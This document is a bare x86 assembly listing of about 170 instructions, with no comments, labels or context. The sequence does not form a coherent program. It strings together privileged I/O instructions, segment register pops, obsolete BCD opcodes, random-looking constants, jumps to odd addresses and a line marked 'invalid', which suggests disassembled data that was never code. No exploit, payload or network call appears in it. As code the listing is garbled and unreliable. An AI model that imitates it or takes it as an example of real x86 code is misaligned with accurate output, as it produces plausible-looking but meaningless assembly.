mov ebp, 0x241df6b2
repne scasb al, byte es:[edi]
rol dword [edi - 0x58f20116], 1
cmpsd dword [esi], dword es:[edi]
mov ecx, 0x8ea810b7
inc eax
lahf
push ecx
mov ebp, 0xa239c96b
stosb byte es:[edi], al
adc eax, 0xae3392af
add eax, 0x11af8530
aaa
imul ecx, ecx, 0x39
mov byte [0x92af15aa], al
xor ebp, dword [esi - 0x507acffb]
adc dword [edi], esi
cli
fidivr dword [edi + 0x4a]
jno 0x100cb9dc
test dword [esp + eax - 0x57], 0xcf22c4e
stosb byte es:[edi], al
adc ecx, edi
fisttp dword [eax + 0x61]
mov bl, bl
mov esp, 0xe0a4d48
std
les ecx, [ebx]
movsd dword es:[edi], dword [esi]
mov dword [edx - 0x55], esi
pushfd
cli
out dx, eax
popfd
loopne 0x100cba26
pop edx
mov dh, 0x6d
push esp
add dl, bl
cmpsb byte [esi], byte es:[edi]
pop ecx
jno 0x100cb9e6
push ebp
mov ch, 0x3e
sub eax, 0x40a915ae
arpl word [eax], cx
cmpsd dword [esi], dword es:[edi]
mov ah, 0x39
cmp byte [ecx + 0x6b], ah
in eax, 0x82
push ecx
pop ds
sbb byte [edi - 3], ch
cdq
inc esi
push edx
fcom st(4)
aaa
popfd
pop esi
xor ecx, ebp
inc eax
pop ebx
pushfd
test byte [0x100cbb4c], 0x4e
jne 0x100cbb4d
call [edi]
jne 0x100cbaa3
arpl word [esi - 0x43ab9052], bp
int3
test eax, esp
test ch, bl
sahf
mov ds, word [edi + 0x123e0272]
clc
shl dword [edi + ebp*2 + 0x71], cl
xchg byte [esi + ecx + 0x56], dh
jo 0x100cba6e
jnp 0x100cbac6
adc al, 0x3c
inc bh
push eax
neg byte [edx]
sbb byte [esi - 0x4d], 0xbc
pop eax
lodsb al, byte [esi]
mov al, 0x26
xchg byte [esi + 0x304c4e0c], dl
mov dword [esi + 0x678a8706], edi
stc
mov ch, 0xde
fisubr word [esi - 0x381ca4b0]
scasb al, byte es:[edi]
push eax
pop ebx
jecxz 0x100cba70
sub dword [edx + 0x75], 0x13
push ebx
fmul qword [0x335e20b0]
lodsb al, byte [esi]
sbb al, 0xd3
sbb al, 0xfd
cmp bh, 0x61
inc esp
adc al, dh
lahf
mov esp, 0x84e9adeb
xor eax, 0x7b3c0d8f
jae 0x100cbaba
jmp dword [ecx + 0x44]
invalid
jle 0x100cbaa4
stc
cmp eax, 0x96e40f16
and eax, 0x5a9f7088
sbb dword [ecx + ecx*2 - 0x54], edx
pop edx
dec esp
fdiv st(0), st(0)
int 0xd6
salc
sbb dword [edx + ecx], esi
ror ecx, 1
inc ebp
push ebx
xadd ah, ah
xchg esp, eax
dec ebx
push es
jl 0x100cbb3d
adc eax, 0xb0e5e0bb
dec ebx
xor eax, 0x6893d5
rol byte [ebx - 0x49d9d782], 0xb9
aad 0x8a
cmp eax, dword [ebx]
xor dword [edx + 0x6f56777b], ebp
test eax, 0xffa9c61f
outsb dx, byte [esi]
fldenv [0x3213a8e3]
pop es
sal dword [ecx], cl
pop ds
sub ch, dl
aaa
inc eax
pop ds
shr dword [eax + 0x237f7e75], 1
fnstenv [edi - 0x7ff022ec]
cmp dword [eax], ecx
outsd dx, dword [esi]
cmp dword [ecx + 0xc13c19d], ebp